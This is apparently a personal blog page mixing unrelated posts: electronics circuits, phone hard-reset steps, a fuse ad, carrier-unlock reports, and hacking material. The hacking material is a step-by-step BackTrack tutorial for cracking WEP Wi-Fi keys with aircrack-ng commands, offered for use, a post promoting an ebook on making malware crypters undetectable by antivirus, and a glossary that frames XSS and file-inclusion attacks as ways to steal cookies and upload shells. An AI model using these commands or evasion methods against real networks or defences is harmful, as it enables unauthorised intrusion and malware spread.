Monday, August 6, 2012

All Kind Of Fuses


All Kind Of Fuses


If you would like to buy different  types of fuses online then click on the photo to visit the website for more information. This website was recommended by Mr Taylor. He had bought the fuse for a sewing machine. Remember, when buying a fuse, you need to look for the exact ampere and volt rating. If you really can't find the exact rating then the best is to use the one that have the nearest spec replacement.

Friday, March 30, 2012

Gevey Sim AIO,5.1 Tested!

Gevey Sim AIO,5.1 Tested!

Gevey Sim AIO Tested On 5.1 (2.0.10 BB)
Got it working with:

Tmobile/Austria

Tmobile/austria Unlock Done.






Now testing Orange/France..

---------- Post added at 12:48 PM ---------- Previous post was at 12:42 PM ----------

Tested Also on 5.1 4s
At&t/Us
Japan/Softbank




thanks ,..
credit goes to : shenics_16

Tuesday, March 6, 2012



This is an ebook that covers all the great methods of undetecting your crypter. It covers the concept of an encrypter, supplies helpful links to sources and despite the grammar slip ups it's a pretty legit read.
For those who are new to cryptography and those that are experienced.

Hackers Dictionary - Most used terms and definitions

I have put a small list of important terms together, which you should know.


0day exploit (zero day) - New exploit, that is not available publically.


JTR - John The Ripper


blackhat - Hackers, that do profit from their work and selling databases, credit cards, and other sensitive information.


greyhat - Hackers, that deface or show off their hacks.


whitehat - Hackers or Security Professionals that report vulnerabilities they found to the companies.

Bruteforce - Creating passwords and trying them. Mostly used in hash cracking.


DDoS - Distributed Denial of Service


DoS - Denial of Service


SQLi - SQL Injection, allows to spoof queries and get important data out of the database such as logins etc.

 

BSQLi - Blind SQL Injection, harder than the normal one and requires much more time.
 

XSS - Cross site scripting. Allows you to run CSS scripts on websites. Can be useful to steal cookies.
 

LFI - Local File Inclusion, allows to include a local page. Can be exploited and shell uploaded. Sometimes 
filtered, but you can bypass it using Null byte Injection .
 

RFI - Remote File Inclusion, allows you to include a page from a remote host. Usually parses the code into the .php file and executes it.
 

SSI - Server side includes, like code execution. Affected extensions: .shtm, .shtml and more.
 

RCE - Remote command/code execution, allows to execute code on the remote host.

Phishing - Creating a fake login page for commercial websites.

Wednesday, February 15, 2012

[TUT] BackTrack 5 - Cracking WEP




If you aren't very familiar with BackTrack, watch the video, if you are just follow these steps.

Open a new terminal where it says too!

- Open Terminal
airmon-ng
airmon-ng start wlan0
airodump-ng mon0
CTRL+C to stop Scanning
airodump-ng -c (channel) -w (savingfile) --bssid (bssid) mon0

- Open New Terminal
aireplay-ng -1 0 -a (bssid) mon0
aireplay-ng -2 -p 0841 -c ff:ff:ff:ff:ff:ff -b (bssid) mon0
Press Y when you get the prompt.

- Open New Terminal (25k Data)
aircrack-ng -n 64 -b (bssid) (savingfile)-01.cap

Thanks for Reading! Goodluck Hacking WEPs!

Friday, January 20, 2012



 

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Wednesday, October 12, 2011

Gas Leakage Alarm

Gas Leakage Alarm

 LPG gas is supplied in pressurized steel cylinders. As this gas is heavier than air, when it leaks from a cylinder it flows along floor and tends to settle in low spots such as a basement. This can cause fire or suffocation if not dealt with. Here is a circuit that detects the leakage of LPG gas and alerts the user through audio-visual indications. Fig. 1 shows the circuit of the gas leakage alarm. The circuit operates off a 9V PP3 battery. Zener diode ZD1 is used to convert 9V into 5V DC to drive the gas sensor module. The SEN-1327 gas sensor module from RhydoLABZ is used in this circuit. Its output goes high when the gas level reaches or exceeds certain point. A preset in the module is used to set the threshold. Interfacing with the sensor module is done through a 4-pin SIP header. Pin details of the gas sensor module are shown in Fig. 2.



 

 An MQ-6 gas sensor is used in the gas sensor module. As per its datasheet, it has high sensitivity to propane, butane, isobutene, LPG and natural gas. The sensor can also be used to detect combustible gases, especially methane. This circuit has been tested with LPG gas and was found to work satisfactorily. Whenever there is LPG concentration of 1000ppm (parts per million) in the area, the OUT pin of the sensor module goes high. This signal drives timer IC 555, which is wired as an astable multivibrator. The multivibrator basically works as a tone generator. Output pin 3 of IC 555 is connected to LED1 and speaker-driver transistor SL100 through current-limiting resistors R5 and R4, respectively. LED1 glows and the alarm sounds to alert the user of gas leakage. The pitch of the tone can be changed by varying preset VR1. Use a suitable heat-sink for transistor SL100.

Sunday, August 21, 2011

High Power Bicycle Horn

High Power Bicycle Horn
An interesting circuit of a bicycle horn based on a popular, low cost telecom ringer chip is described here. This circuit can be powered using the bicycle dynamo supply and does not require batteries, which need to be replaced frequently. The section comprising diodes (D1 and D2) and capacitors (C1 and C2) forms a half-wave voltage-doubler circuit. The output of the voltage doubler is fed to capacitor C3 via resistor R1. The maximum DC supply that can be applied to the input terminals of IC1 is 28V. Therefore zener diode ZD1 is added to the circuit for protection and voltage regulation. The remainder of the circuit is the tone generator based on IC1 (KA2411).


The dual-tone output signal from pin 8 of IC1 is fed to the primary of transformer X1 (same as used in transistor radios) via capacitor C6. The secondary of X1 is connected to a loudspeaker directly. In case you are interested in connecting a piezoceramic element in place of the loudspeaker, remove capacitor C6, transformer X1, and the loudspeaker. Connect one end of the piezoceramic disk to pin 5 of IC1 and the other end to pin 8 of IC1 through a 1/4W, 1-kiloohm resistor. IC1 KA2411 is also available in COB style, with the same pin configuration. Both packages work equally well.

However, to get the best results with the COB package, change values of resistors R2 through R4 to 330-kilo-ohm, capacitor C4 to 0.47µF, 63V electrolytic (positive end to pin 3 of IC1), and C5 to 0.005µF, 63V. This bicycle horn project can also be used as a telephone extra ringer by just removing all components on the left side of capacitor C3 and connecting the circuit shown in Fig. 2 to the terminals of capacitor C3.

Sunday, June 26, 2011

X6 SHOW KOREA unlock done VIA BRUTE-FORCE

tools to be needed :
MXBOX activated Or ATF activated
UFCv2
SUPER PC

ACTION TAKEN: Read sha file or cod file. then you need to input the sha file or cod file in mxbox or atf activated then do Brute-forcing to calculate the IMEI of the phone. after calculating the imei, Now is the time to manual input the code in phone.








DONE!


Samsung Hard Reset I607 And Samsung i900 Omnia

Samsung Hard Reset I607 And Samsung i900 Omnia

Samsung I607



Hard Reset

To perform a manual Hard Reset, press the Up Navigation key and the [Power] key.






Samsung i900 Omnia




Reset

hold the Call and Cancel buttons, poke the soft reset hole and the reset screen shall show up.


By the way, this hard reset does not erase the 16GB memory. To reset everything, you could use the software hard reset by going to Settings > Hard Reset. There is also option to format the storage card.

HTC Glofiish X500 (hard reset)






Hold the “Power Button” and press the “Reset Button” with the stylus, and release both buttons simultaneously.
Next, hold the End Button until the system inquiry screen is displayed, then release the End Button and answer the
question(s).

HTC M600 (hard reset)

M600





HARD RESET
(1) Press Power Button and Reset Button together and release them at the same time.
(2) Immediately before device starts to reboot, press and hold End Call Button for approximately 15 seconds until the "Erase all data and loads defaults ?" screen appears.
(i) If you wish to restore your device to the factory settings with the default WM5 OS and erasing all user data and user programs, press and hold the Speedial Button for about 5 seconds until the default "No" changes to 'Yes".
(ii) If you want to retain your user data and programs, do nothing and the system will choose the options "No" by default before rebooting your device.